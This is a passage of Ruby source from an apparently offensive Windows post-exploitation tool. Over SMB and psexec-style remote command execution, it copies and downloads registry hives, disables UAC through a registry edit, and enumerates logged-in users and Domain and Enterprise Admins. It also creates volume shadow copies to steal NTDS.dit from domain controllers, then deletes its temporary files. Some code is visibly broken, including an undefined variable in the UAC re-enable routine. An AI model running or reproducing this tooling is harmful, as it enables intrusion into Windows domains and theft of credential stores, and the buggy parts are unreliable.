rescue StandardError => hiveerror
puts "[".light_red + "*".white + "]".light_red + " Problems making copy of #{hive} hive".light_red + ": #{hiveerror}".white
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " Problems making copy of #{hive} hive".light_red + ": #{hiveerror}".white
end
end
end
# Download the Hive Copies we made
def download_hives(arrayofhives)
Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')
arrayofhives.each do |hive|
file = hive.to_s.split("\\")[-1] if hive =~ /\\/
file = hive.to_s.split("\\\\")[-1] if hive =~ /\\\\/
puts "[".light_blue + "*".white + "]".light_blue + " Downloading #{hive} to #{RESULTS}#{@target}/#{file}.....".white
begin
@smb.connect("\\\\#{@target}\\#{@smbshare}")
funk = @smb.open("#{hive.sub(/c:\\\\/i, '').sub(/c:\\/i, '').sub('C:', '').sub('c:', '').gsub('\\\\', '\\')}", 'orb')
data = funk.read
funk.close
f = File.open("#{RESULTS}#{@target}/#{file}", 'wb')
f.write(data)
f.close
@smb.disconnect("\\\\#{@target}\\#{@smbshare}")
rescue ::Exception => e
puts "[".light_red + "*".white + "]".light_red + " Error downloading #{hive} hive: #{e}".white
end
end
end
# Check if UAC is enabled or not
def check_uac(verbose=true)
puts "[".light_blue + "*".white + "]".light_blue + " Checking if UAC is an issue....".white if verbose
cmd = "reg QUERY HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)
if output.to_s =~ /End of search: 0 match\(es\) found/im
puts "[".light_green + "*".white + "]".light_green + " UAC was not found on target!".white if verbose
return false
elsif output.to_s =~ /End of search: 1 match\(es\) found/im
v = output.to_s.split(' ')[-7]
if v == '0x1'
puts "[".light_red + "*".white + "]".light_red + " UAC is ENABLED!".white if verbose
return true
elsif v == '0x0'
puts "[".light_green + "*".white + "]".light_green + " UAC is DISABLED!".white if verbose
return false
else
puts "[".light_red + "*".white + "]".light_red + " UAC status seems to be unknown!".white if verbose
puts "[".light_red + "*".white + "]".light_red + " Lack of privileges to check registry or UAC doesn't exist!".white if verbose
return false
end
end
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_blue + "*".white + "]".light_blue + " Error running commands to check UAC!".white if verbose
return false
end
end
# Disable UAC via Registry Edit
def disable_uac(verbose=true)
if check_uac(verbose=false)
cmd="reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)
if check_uac(verbose=false)
puts "[".light_red + "*".white + "]".light_red + " UAC Doesn't apper to have been disabled!".white if verbose
puts "[".light_red + "*".white + "]".light_red + " Lack of privileges to check registry or Unknown factors at work.....".white if verbose
return false
else
puts "[".light_green + "*".white + "]".light_green + " UAC has been Disabled!".white if verbose
return true
end
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_blue + "*".white + "]".light_blue + " Error running commands to check UAC!".white if verbose
return false
end
else
puts "UAC is not an issue, no need to disable....."
return true
end
end
# Re-Enable UAC via Registry Edit
def enable_uac(verbose=true)
if check_uac(verbose=false)
puts "[".light_green + "*".white + "]".light_green + " UAC is already enabled, no need to re-enable anything....."
return true
else
cmd="reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd2} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)
if check_uac(verbose=false)
puts "[".light_green + "*".white + "]".light_green + " UAC has been Re-Enabled!".white if verbose
return true
else
puts "[".light_red + "*".white + "]".light_red + " UAC Doesn't apper to have been disabled!".white if verbose
puts "[".light_red + "*".white + "]".light_red + " Lack of privileges to check registry or Unknown factors at work.....".white if verbose
return false
end
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_blue + "*".white + "]".light_blue + " Error running commands to check UAC!".white if verbose
return false
end
end
end
# Leverage Tasklist command to check if other users are logged into the box
# Help find Domain Admin or other Targeted Users
# Returns an array of users, or nil
def check_active_users(verbose=true)
users=[]
cmd = "tasklist /V /FI \"USERNAME ne NT AUTHORITY\\SYSTEM\" /FI \"STATUS eq running\" /FO LIST"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)
output.split("\n").each do |line|
if line =~ /User Name: (.+\\.+)/
users << $1
end
end
users = users.uniq!
puts
return users
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_blue + "*".white + "]".light_blue + " Error running commands to check actively logged in users!".white if verbose
return nil
end
end
# Check who is in the Domain & Enterprise Admin Groups
# Returns an array of domain admin users or nil
def check_domain_admin(verbose=true)
files=[]
users=[]
cmd1 = "net group \"Domain Admins\" /domain"
cmd2 = "net group \"Enterprise Admins\" /domain"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd1} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
da_output = get_output(text, false)
files << text
files << bat
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd2} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
ea_output = get_output(text, false)
files << text
files << bat
cleanup_after(files, false)
usr=false
da_output.split("\n").each do |line|
if usr
if not line =~ /The command completed successfully/i and not line.nil? and not line == ''
line.split(' ').each {|user| users << user unless user.nil? or user == '' }
end
end
usr=true if line =~ /-{1,79}/
end
usr=false
ea_output.split("\n").each do |line|
if usr
if not line =~ /The command completed successfully/i and not line.nil? and not line == ''
line.split(' ').each {|user| users << user unless user.nil? or user == '' }
end
end
usr=true if line =~ /-{1,79}/
end
users = users.uniq!
return users
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_blue + "*".white + "]".light_blue + " Error running commands to check actively logged in users!".white if verbose
return nil
end
end
# Check if any Volume Shadow Copies already exist
# Returns the array of existing copies (with path) or nil
def check_vsc_existance(verbose=true)
vscopies=[]
cmd = "vssadmin list shadows"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
smb_psexec(cmdexec, false)
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)
output.split("\n").each do |line|
if line =~ /No items found that satisfy the query/i
return nil
elsif line =~ /Shadow Copy Volume: (.+)/i
puts "[".light_green + "*".white + "]".light_green + " Found Existing Volume Shadow Copies:".white if verbose
puts output.to_s.cyan if verbose
vscopies << $1.chomp
end
end
vscopies = vscopies.uniq!
return vscopies
rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e
puts "[".light_red + "*".white + "]".light_red + " Error checking for existing Volume Shadow Copies!".white if verbose
puts "[".light_red + "*".white + "]".light_red + " Make sure you have enough privileges and that this is a Domain Controller.....".white if verbose
return nil
end
end
# Create Volume Shady Copy of requested drive
# Used to snag NTDS.dit file from DC Servers
def vsc_create(drive)
puts "[".light_blue + "*".white + "]".light_blue + " Creating New Volume Shady Copy from #{drive}".white
cmd="vssadmin create shadow /for=#{drive}:"
begin
text = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "#{@tmp}\\#{Rex::Text.rand_text_alpha(16)}.bat"
cmdexec = "%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
# cmdexec = "%COMSPEC% /C #{cmd} > #{text}"
smb_psexec(cmdexec, false)
puts "[".light_blue + "*".white + "]".light_blue + " taking short 30 second nap to ensure it has enough time....".white
sleep(30) # Need to provide sufficient time for this process to complete or your S.O.L.
output = get_output(text, false)
files = [ text, bat ]
cleanup_after(files, false)